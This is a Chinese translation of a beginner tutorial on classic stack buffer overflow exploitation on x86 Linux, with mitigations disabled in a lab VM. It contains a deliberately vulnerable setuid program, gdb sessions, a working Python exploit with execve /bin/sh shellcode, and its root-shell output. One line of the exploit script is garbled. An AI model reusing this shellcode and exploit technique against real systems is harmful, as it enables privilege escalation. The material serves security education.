CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-经典栈缓冲区溢出》
- 0X01 什么是缓冲区溢出(Buffer Overflow)
- 0X02 什么是任意代码执行(Arbitrary Code Execution)
- 0X03 如何实现任意代码执行
VM Setup: Ubuntu 12.04 (x86)
虽然你能在网上找到很多缓冲区溢出漏洞利用系列教程,但本文肯定是其中最最简单的一篇。尽管内容与其他文章多有重复,并且同类文章已经有了很多,我仍然愿意出一篇独家教程,因为这篇博文将是我后续发布的众多文章的阅读前提。
0X01 什么是缓冲区溢出(Buffer Overflow)
将源缓冲区复制到目标缓冲区时,以下情况可能导致缓冲区溢出的情况发生:
- 源字符串长度大于目标字符串长度
- 没有执行缓冲区大小检查
缓冲区溢出分两类:
- 栈缓冲区溢出——此时目标缓冲区存放于栈中
- 堆缓冲区溢出——此时目标缓冲区存放于堆中
这篇文章里,我只讨论栈缓冲区溢出问题。堆缓冲区溢出请参见Linux (x86) 漏洞利用教程系列中的第三部分。
缓冲区溢出漏洞会导致任意代码执行的发生。
0X02 什么是任意代码执行(arbitrary code execution)
任意代码执行允许攻击者执行代码来获得系统控制权。获得系统控制权的方法有很多,比如触发一个root shell、添加一个新用户、建立一个网络端口等等。
听起来挺有趣的吧?话不多说,来看一则典型漏洞代码吧!
漏洞代码:
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buf[256]; strcpy(buf,argv[1]); printf("Input:%s\n",buf); return 0; }
|
编译命令:
1 2 3 4 5
| #echo 0 > /proc/sys/kernel/randomize_va_space $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
|
上述漏洞程序的第[2]行显示,该程序中存在缓冲区溢出漏洞。由于缓冲区内容是用户提供的输入值,因此这个缓冲区溢出漏洞很可能导致系统执行任意代码。
注:本系列所有文章中第[N]行代码指的的代码中显示/*[N]*/的位置。
0X03 如何实现任意代码执行是如何实现的
任意代码执行是通过“返回地址覆盖(Return Address
Overwrite)”技术实现的。这种方法帮助攻击者覆盖掉存储在栈内的返回地址,通过这种覆盖,任意代码执行得以实现。
为了让大家更好地理解漏洞利用代码,我们在对它做进一步的分析之前,先来反汇编并画出漏洞代码的堆栈布局图吧!
反汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| (gdb) disassemble main Dump of assembler code for function main: 0x08048414 <+0>: push %ebp 0x08048415 <+1>: mov %esp,%ebp 0x08048417 <+3>: and $0xfffffff0,%esp 0x0804841a <+6>: sub $0x110,%esp 0x08048420 <+12>: mov 0xc(%ebp),%eax 0x08048423 <+15>: add $0x4,%eax 0x08048426 <+18>: mov (%eax),%eax 0x08048428 <+20>: mov %eax,0x4(%esp) 0x0804842c <+24>: lea 0x10(%esp),%eax 0x08048430 <+28>: mov %eax,(%esp) 0x08048433 <+31>: call 0x8048330 <strcpy@plt> 0x08048438 <+36>: mov $0x8048530,%eax 0x0804843d <+41>: lea 0x10(%esp),%edx 0x08048441 <+45>: mov %edx,0x4(%esp) 0x08048445 <+49>: mov %eax,(%esp) 0x08048448 <+52>: call 0x8048320 <printf@plt> 0x0804844d <+57>: mov $0x0,%eax 0x08048452 <+62>: leave 0x08048453 <+63>: ret End of assembler dump. (gdb)
|
堆栈布局:
根据已有知识,用户输入值大小超过256时会溢出目标缓冲区,并且覆盖存储于栈中的返回地址。让我们来通过发送一串“A”的方法进行测试。
测试第一步: 是否会覆盖返回地址?
1 2 3 4 5 6 7 8 9 10 11
| $ gdb -q vuln Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done. (gdb) r `python -c 'print "A"*300'` Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'` Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) p/x $eip $1 = 0x41414141 (gdb)
|
上述输出结果显示,EIP被“AAAAA”覆盖了,这就意味着返回地址被覆盖是有可能的!!
测试第二步:来自目标缓冲区的偏移量是什么?
现在我们来找找目标缓冲区‘buf’中返回地址的偏移处于什么位置。
之前我们已经反汇编并画了main()的堆栈布局,那么现在就试着找出代码的偏移位置信息吧!由堆栈布局可以看出,返回地址偏移位于目标缓冲区buf的(0x10c)处。(0x10c)计算方式如下
0X04 0x10c = 0x100 + 0x8 + 0x4
其中:
- 0X100 是‘buf’大小
- 0x8 是对齐空间
- 0x4 是调用者的EBP
这样一来,用户输入“A” 268 + “B” 4中,一串“A”覆盖‘buf’、对齐空间和调用者的EBP,“BBBB”覆盖返回地址。
1 2 3 4 5 6 7 8 9 10 11
| $ gdb -q vuln Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done. (gdb) r `python -c 'print "A"*268 + "B"*4'` Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'` Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) p/x $eip $1 = 0x42424242 (gdb)
|
上述输出结果表明攻击者已经获得返回地址的控制权。位于栈 (0xbffff1fc)的返回地址已经被“BBBB”覆盖了。有了这些信息,我们就可以写出能实现任意代码执行的漏洞利用代码了。
漏洞利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #exp.py #!/usr/bin/env python import struct from subprocess import call
#Stack address where shellcode is copied. ret_addr = 0xbffff1d0 #Spawn a shell #execve(/bin/sh) scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion def conv(num): return struct.pack("<I",numnk + RA + NOP's + Shellcode buf = "A" * 268 buf += conv(ret_addr) buf += "\x90" * 100 buf += scode print "Calling vulnerable program" call(["./vuln", buf])
|
执行上述漏洞利用程序就可以获取root shell,如下所示:
1 2 3 4 5 6 7 8
| $ python exp.py Calling vulnerable program Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph # id uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun) # exit $
|
注意:为了得到这个root shell,我们舍弃了很多exploit的mitigation方法。其实在整个系列的第一部分,我都特意没用这些exploit的mitigation方法,因为level 1的目标,仅止于普及漏洞知识。如果你真的想学到有意思的知识,就去看Linux (x86)漏洞利用教程系列的第二部分吧!到时候我会教你们如何绕过exploit的mitigation方法。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-经典栈缓冲区溢出》与作者信息:CSysSec出品